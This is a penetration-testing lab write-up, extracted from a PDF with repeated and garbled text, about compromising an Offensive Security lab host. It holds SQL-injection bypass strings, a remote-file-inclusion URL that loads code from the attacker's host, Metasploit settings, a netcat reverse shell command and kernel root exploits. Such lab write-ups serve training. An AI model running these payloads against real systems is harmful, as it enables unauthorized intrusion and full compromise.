1.box-192.168.15.202.pdf

Owning 192.168.15.202 [Gh0st] [Offensive Security] -

Shritam Bhowmick [pwntoken] – [pwntoken] – A  A token of pWnage. http://pwntoken.github.io/

2

Day 1 - 192.168.15.202 – 192.168.15.202 – Enumeration  Enumeration and Beyond ............................................................................ 2

3

DAY 1 – 192.168.15.202  – 192.168.15.202 - The Source ................................................................................................... 3

4

Day 1 – 192.168.15.202  – 192.168.15.202 –  – Beyond  Beyond the Source ...................................................................................... 4

5

Day 1 – 192.168.15.202  – 192.168.15.202 –  – Thinking  Thinking Out Of The Box ........................................................................... 12

6

Day 2 – 192.168.15.202  – 192.168.15.202 –  – Remote  Remote File Inclusion ................................................................................ 17

7

Day 2 – 192.168.15.202  – 192.168.15.202 –  –   Privilege Escalation ................................................................................... 22

8

Day 2 – 192.168.15.202  – 192.168.15.202 –  – Gaining  Gaining Root Privileges ............................................................................. 25

After my encounter on one of o f the toughest penetration testing labs to crack the brain on, I realized; re alized; it would be a brave move to start star t out with complex mind game challenges which is y et to thrill me just right after the VPN connections had been set-up. Welcome to Offensive Security – Security – where ‘Trying Harder’ would be the only option left to opt for. I was given the e ntire range of internal lab network to test my skill-set and hence prove my exploitation way beyond the stretch which was initially not a necessity. After VPN connections, I chose a penetration test stimulation box with assigned IP address ‘192.168.15.202’, I was presented presented with a screen not much m uch far away that from the devilish:

The very first obvious thing for any normal penetration te ster would be to quickly deduce that this ag ain would be yet another dedicated set of server wherein only Authentication bypasses would suffice, which when I introduce you the next steps, would become less evident in itself. I stared across the screen, and wanted to know if there were any sign of source code which could get me a hint of the application technologies used in development. I quickly looked at the source and was left stunned with the little source being used which again gave me a goose-bump goose-bump of ph33r that this wouldn’t be a normal penetration test engagement but something more which is yet to be revealed reve aled to my mind beneath.

The source was very simple and it already gave me a minor hint on pre sence of a Microsoft IIS Server since .ASP Technology was in use which I was readily able to notice onto the source itself:

The resident devil lies onto the steps which are about to follow and when one realize, t he assumptions could be hardly any deductions. I assumed the servers t o be Microsoft IIS with ASP technology, but as I lay my voice deep down the throat throat of ‘Trying Harder’, the more deeper into the application I was about to leap forward – forward – only  only aiming to capture the flag. The steps could not be descriptive as much anywhere as here it is now: 1.) Original Target: http://192.168.15.202 2.) Whatweb confirms Microsoft IIS?

3.) Found Directories via Dirbuster :

Alongside, there is a mentionable; from the very first attempt itself, I was very cautious c autious about

the server banners and hence opted to test for other extensions ex tensions (should those not be missed) with blank extensions for bruteforce from a pre-defined list allowed:

The VPN had too many connection resets during the entire process and I had to limit the number of threads used for a better compatibility:

I do not stop here, and quickly wanted to notice what directories were under the root folder and wanted to grab a list of those t hose files whose response code would be ‘200’, which means the file existed or if any directories which give me ‘301’ which is moved permanently or more or more interestingly those with ‘302’ which means it c ould be ‘Found’ or as per the HTTP RFC could be related to a ‘temporary redirect re direct {status code 307 equivalent although experimental}.

And hence this way, I had list of valid potential entry points for my first enumeration which would actually lead me some clue wherein I would be again tricked. This wasn’t the e nd.

I enumerated more than these specified directories, but had been documenting what has been useful as far of now since these directo ries were of special interest. 



/Sites/Knowledge/Membership/Inspired/ViewCode.asp -> had to see if source code co uld be fetched. /test.asp -> interesting file on source code.

4.) On /test.asp under 'JavaScript' (CTRL + U {source}) the linked item gets the following JavaScript code (obfuscated) for reasons? Link: http://192.168.15.202/test.asp CTRL + U {Source code} -> -> formulates to a link to ‘JavaScript’. Code: Code Snip ---------------var  _0x5490=["\x6C\x65\x6E\x67\x74\x68","\x20","\x30\x2E\x67\x69\x66","\x31\x2E\x67\x69\ x66 ","\x67\x65\x74\x53\x65\x63\x6F\x6E\x64\x73","\x66\x6C\x6F\x6F\x72","\x3C\x69\x6D\x67\x2 0\x73\x72\x63\x3D\x27","\x27\x3E","\x77\x72\x69\x74\x65"];var currentdate=0;var core=0;function Str ingArray(_0x5b7ex4){this[_0x5490[0]]=_ ingArray(_0x5b7ex4){this[_0x5490[0]]=_0x5b7ex4;for(var 0x5b7ex4;for(var  _0x5b7ex5=1;_0x5b7ex5 I see a beautiful JavaScript at http://192.168.15.202/javascript and the code was previously mentioned. To this, looking the code, I find it's escaped somehow, I needed to un-escape and de-obfuscate the code remains (hence I had to check for ‘unescape printable chars’): chars’): I used: http://jsbeautifier.org/ to de-obfuscate, to my amazement, I find:

Code Snip ---------------var _0x5490 = ["length", " ", "0.gif", "1.gif", "getSeconds", "floor", "", "write"]; var currentdate = 0; var core = 0;

function StringArray(_0x5b7ex4) { this[_0x5490[0]] = _0x5b7ex4; for (var _0x5b7ex5 = 1; _0x5b7ex5 http://192.168.15.202/1/1/index.asp (Again I was pointed to the same direction).

In fact, I was aware from my previous DirBuster enumerated directories that this URL, no matter what the file-name file-name is such as ‘cgi‘cgi-bin.asp’ or ‘index.asp’, the application would fetch a similar simil ar or the same login form. I needed a clear attention to this login form here since now, I begin to think if this application is really intended to keep the attacker distracted or it is willingly pointing to hints. Not a proper misdirection. Now, I am ce rtainly sure all of this trick is for what? Using JavaScript? which means client side validation is done, on basis of such, I deduce that the form login (POST based) also would be validated only server side, if we can hook up a client side proxy and then al ter our strings, It'd break?

Scenarios: 

break without client side proxy and hence break hardcoded ASP code.



break with client side proxy by changing values bypassing the JavaScript dummy validation.

Scenario 1. I was amused. Let's give a try. The bypasses I have confronted so far for as many as many applications (including Struts etc ) 

ABC' OR 1=1 --



NULL'' OR 1=1 --



BYPASS' OR 1-1 == 0

List of some which could be used (referenc e only): http://www.w4rri0r.com/attackersurface/bypass-authentication.html 

ABC' OR 1'='1 won't work, since validation is at place.



use scenario 2 hence.

Scenario 2. I am curious at this point, if this at all would work? I hit up t he free Burp (no, I didn't pirate anything!). Using a client side proxy (burp suite, charles proxy, e tc ), I see the below generated POST request: POST /1/1/index.asp HTTP/1.1 Host: 192.168.15.202 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Fire fox/31.0 Iceweasel/31.3.0 Accept: text/html,application/xhtml+xml,appl text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0. ication/xml;q=0.9,*/*;q=0.8 8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.15.202/1/1/index.asp Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 92 slogin_POST_username=admin&slogin_POST_password=ABC%27+OR+1%27%3D%271& slogin_POST_send=Enter

Notes on this: 

Host header seems great.



UA is great.





Accept - this accepts text/html and also xhtml+xml or app/xml, which means at some point XML is used in the application? Referer - Okay, so this has to be http://192.168.15.202/1/1/index.asp since this is POST request and original source is http://192.168.15.202/1/1/index.asp

Everything is great here but my previous assumption failed me, this does not only validate accordingly to JS, at client side but after changes are made, the t he same validation is done. My original attack query were: slogin_POST_username=admin&slogin_POST_password=ABC%27+OR+1%27%3D%271& slogin_POST_send=Enter And of course after all those t hose de-encoded: slogin_POST_username=admin&slogin_POST_password=ABC'+OR+1'='1&sl slogin_POST_username=admin&slogin_POST_pass word=ABC'+OR+1'='1&slogin_POST_s ogin_POST_s end=Enter This did not end up with any luck, since of major problem which was the server was ac tually validating and again my assumptions failed here.

All of these initial time, I was dependent on the fact which was fed to me by the application and that might be a great mistake. I realized this was the only thing which drove me to believe the application was ASP based and hence would use ASP.NET technologies. What if this initial assumption too was wrong as with the others which I thought so far? But I needed to run some test either way since I now had a form which was enumerated and this form had nothing to do with the login form which was presented before me to hack in and gain access. Now, I needed to again re-run the general tests for authentication bypass which were valid to ASP:

Hoping something would happen, I realized; the application strips off the special characters or the characters which were intentionally black-listed or disallowed:

I had to now believe, something else might be the entire game and the game plan needs to be c hanged from hereon. Keeping the same in mind, I fired DirBuster again, but this time I had decided to enumerate /1/1/ directory since I had already enumerated the root directory and the same enumeration gave me this new /1/1/ directory:

I un-checked un-checked using ‘Blank Extensions’ and used ‘asp’ and ‘php’ for the files which I wanted to enumerate, e numerate, since I believed now this was not an ASP application because of the application making me believe e ach time it was .ASP application and time and again failed m e down:

I failed again since DirBuster was now in a loop of finding every directory which application allowed by default because of its development in order to trick the attacker. Now, since this t his was the case, I again tried harder by changing settings of D irBuster to enumerate only files by default and not bruteforce any directories. Again I was looking for PHP files but also, PHP files without any extensions:

And then, something which I found with my own assumption that ther e could be no extension was this file called ‘launch’:

I also found these files along with launch’ which were valuable: 

Launch



License



Install



readme

I will mention the /launch a bit late but here’s what I found on /1/1/old/:

These were the same images which kept me distracted and were looping accordingly with the JavaScript file which I enumerated at previous stages. I was now confirmed all these ‘IIS’, ‘Microsoft’, ‘ASP’, etc with images were means of distraction and keep the attacker misdirected from the t he reality which was the application was never ‘.ASP’ based, based, instead was a PHP application which I confirmed with files mentioned above: launch, install, readme and license. I did not c are to enumerate the rest since I now had the hint from where to ‘actually’ start from. 

http://192.168.15.202/1/1/readme



http://192.168.15.202/1/1/license



http://192.168.15.202/1/1/launch



http://192.168.15.202/1/1/install

The http://192.168.15.202/1/1/launch file had no information however covered. Others had. Accessing http://192.168.15.202/1/1/readme I noticed I have got the start point:

I have now enumerated the residues of PHP components (made in PHP of some kind of login) installation files which was named as ‘Simple TextText -File Login’. I only now needed to do a public vulnerability repository research on the same. But before this, I wanted to have the version which was not immediate clear from the ‘install’ file, I then guessed ‘version’ could be t he file name for version? And tried: http://192.168.15.202/1/1/version

Now, as an accurate guess, the t he version was 1.0.6 to be precise and I now only had to look at the public vulnerability repository of Simple Text-File Login version 1.0.6.

This was it. There was a potential way and a hope for a Remote File Include.

The much awaited vulnerability which took me some time to figure out is well documented. But the concept lies in exploiting the same in different ways and techniques. I will go about ex plaining one of them but reveal 4 possible ways as I found to be working: 1. 2. 3. 4.

Via RFIshell (https://github.com/superkojiman/rfishell https://github.com/superkojiman/rfishell)) Via Manual Original File Download and alter POST request Via Metasploit Via Manual Local PHP shell script

I have taken up to explain three of them in a slight overview manner as tailoring all of them would be a real spoil. To get things working via the RFIshell, I have created a mini-text onto my /var/www/ directory to fetch the same file name which was to be originally included:

I obviously knew from previous vulnerability research that the ‘slogin_lib_inc.php ‘ slogin_lib_inc.php’’ file was vulnerable to remote file include and could remotely include onto ‘header.inc.php’ (we needed this as a s our remote shell include), although there were other files in the same directory. A quick description here of what I would do: 1. Create a mini PHP script to call the hostname first to confirm, it’s the gh0st machine. 2. Create a mini PHP script which act ually gets us the shell in the RFIshell console mode. To accomplish all of these, what I would essentially have to do is not much complicated. For the first one, that is to call the hostname, I have to keep the original file in my local host on /var/www/ as text since .php extensions were not parsed which I came to know by my own research. And then this same file would be modified as per the r equirement to proceed to the next step.

I created a PHP P HP mini script which called the machine hostname to confirm it’s the box the box I wanted to exploit. This is just a confirmation, since I go by a very systematic procedure. This could be altogether skipped:

Now, after this has been done, I would now take a step ahead to include this new file to the ‘slogin_path’ parameter which globally includes remote files as per the vulnerable ‘slogin_lib.inc.php’ source code. I called the URL to include my script as with no specification of the file since the vulnerable code was supposed to find the ‘header .inc.php’ in root folder anyway: http://192.168.15.202/1/1/slogin_lib.inc.php?slogin_path=http://192.168.14.106/ And then, I executed the URL in the browser to get the output of my script:

Bu now, I was confirmed that t hat the script worked and hence the code was vulnerable. This similar way, I proceed to the next step which was to get the shell via the RFIshell. This could be done by first cloning the git repository which I did:

The next step was to create a script which would connect to RFIshell on port 80 as all the other ports were blocked from inbound and outbound connections which is yet another re ason not to use netcat here. I need not create another script as our present script would either way work since it interacts.

The interaction with gh0st server means everything here. And now I only needed to execute the RFIshell with the following commands over Linux: ./rfishell.sh –  f /var/www/header.inc.php.txt /var/www/header.inc.php.txt -u "http://192.168.15.202/1/1/slogin_lib.inc.php?sl "http://192.168.15.202/1/1/slog in_lib.inc.php?slogin_path=http:// ogin_path=http://192.168.14.106/" 192.168.14.106/"

As we can see, we have a shell running with fast processing. Another reason, I might not want to use thi shell is due to its lacking interactivity. Also, there are other possible ways to pop in a shell, I would use Metasploit now for the same purpose. The reverse shell which I would use is the ‘php_include’, a searc h would suffice:

From here on these steps must be followed: 

Configure PHPURI



Configure PATH



Configure RHOST



Configure LHOST

These steps would suffice using Metasploit module named ‘php_include’.

The ‘php_include’ module consists of other options which weren’t required at this stage. However here here are the exact steps to consider, since our PHPURI was different and was under /1/1/ directory:

Now, this was what I had to set: 

Set PHPURI /slogin_lib.in / slogin_lib.inc.php?slogin_path=XXpathX c.php?slogin_path=XXpathXX X (XXpathXX was necessary)



Set PATH /1/1/ (since, our path was different and it was under /1/1/)



Set RHOST 192.168.15.202 (The RHOST might be different depending on setup)



Set LHOST (The LHOST might be different de pendent on setup)

And then I only needed this to run and exploit readily.

A meterpreter session was opened, and now I could verify if could harvest some information already:

These were the re quired information. We could tap in a netcat in a similar fashion since t he only required thing to do manually was to creat e a file which could throw back a shell to us (localhost) using the following hint: Netcat 192.168.14.106 4444 – e /bin/bash (this /bin/bash  (this should be on the PHP local script which was made to /var/www/ and hence could throw back a shell {/bin/sh or /bin/bash dependent} and hence on the client side, the attacker would nee d to listen to a specific port which was supplied originally onto the script: Netcat – l – v –  p 4444 (this 4444 (this has to be via the localhost listener running on port 4444) Demonstration, it is possible:

However I chose to stick with Metasploit for the time being and had my session running on all of the three methods shown here. These te chniques needs to be known for any potential penetration tester .

I knew I wasn’t root on the given targeted box. ‘www‘www-data’ wouldn’t achieve me any flag to prove I had stamped and had escalated all the privileges on the box. However I had an idea; if I c ould find a writable directory, I could do these: 

Upload a exploit checker onto the box into the writable directory



Execute the exploit checker and hence look-up what exploits were available for the ke rnel



Testing each of the exploit, I could get to root using the local root exploit available for the kernel



If all the exploit fails, I needed to develop my own local root ex ploit which I knew would be pain

The Linux Exploit checker (https://github.com/inquisb/miscellaneous/blob/master/linux-exploitchecker.py) is a python driven script which would check the exploits available only if the script could be uploaded to the targeted machine. Since, I was still to find a writable directory; I checked with a quick dirty command to extract the information:  find / -writable -type d 2>/dev/null

Hence these were the directories where-in I could write files and execute from the directories as well. The following commands on Linux could be very helpful whilst on the preparation to e scalate privileges on the system: find / -writable -type d 2>/dev/null find / -perm -222 -type d 2>/dev/null find / -perm -o w -type d 2>/dev/null

# world-writeable folders # world-writeable folders # world-writeable folders

find / -perm -o x -type d 2>/dev/null

# world-executable folders

find / \( -perm -o w -perm -o x \) -type d 2>/dev/null executable folders

# world-writeable &

After finding the writable directory, I almost had to put the script on my local /var/www/ directory and fire up the apache2 server since I would need the remote machine to be able to connect to it and grab

the script remotely via wget assuming wget is currently present at the remote machine I just had compromised.

I popped the shell again to the meterpreter and now had to goto the writable directory and hence remotely transfer the file from my machine to the machine I had compromised:

For this I would need to be able to figure out if wget was at all in the system, assuming it had to be enumerated if wget was present in the remote system, I fired up ‘whereis’ command to be able to identify the file:

‘wget’ utility was present and hence, I need to go to the directory and ‘wget’ my script to check the Linux Exploit enumeration part for privilege escalation:

All in one, I transferred the file and now had to see if python was installed since the script has been written in python (again, assuming a ssuming python was to be enumerated, I fired up ‘whereis’):

Looks like Python was there, and hence our script could be fired from the w ritable directory:

I was able to r un the script and hence the script enumerated me some exploits (local root) which could be used for privilege escalation to root privileges, my current setup was ‘www‘www-data’. To data’. To short it down, ‘gcc’ was not present and hence I needed to pre-compile pre-compile the exploit which I would try in my local machine. That been said, I had to try harder numerous times.

As mentioned before, I had to t o pre-compile exploit, the following attempts at making each exploit tested was repetitive but was worth looking at, the first one I guessed was the local kernel root called ‘american-sign‘american-sign-language.c’, language.c’, and written in C (Linux (Linux Kernel < 2.6.37-rc2 ACPI c ustom_method Privilege Escalation) {reference: http://www.exploit-db.com/exploits/15774/ http://www.exploit-db.com/exploits/15774/)). On my local machine, after downloading the exploit, I attempted to compile it:

And then, I transferred the pre-compiled exploit to the remote writable directory and executed it:

This in itself didn’t work and numerous time, I should be able to read through the exploit ex ploit and modify modify bits of the code to suit the environment. Either way, I did this ite rative task for more than a dozen times and transferred all of them into the writable directory trying harder to win my way into the ‘root’. For the next step I had got root with ‘full‘full-nelson.c’ nelson.c’ exploit which marked the end of the g ame finally. This particular lab was challenging and finally it was all over. The penetrat ion testing experience was brought one more step closer to what a real scenario would look like and how a penetration tester should be able to go step-wise into trying harder to obtain a shell, privilege escalate and maintain access with various techniques. Numerous techniques were mentioned and some other are still to be learned.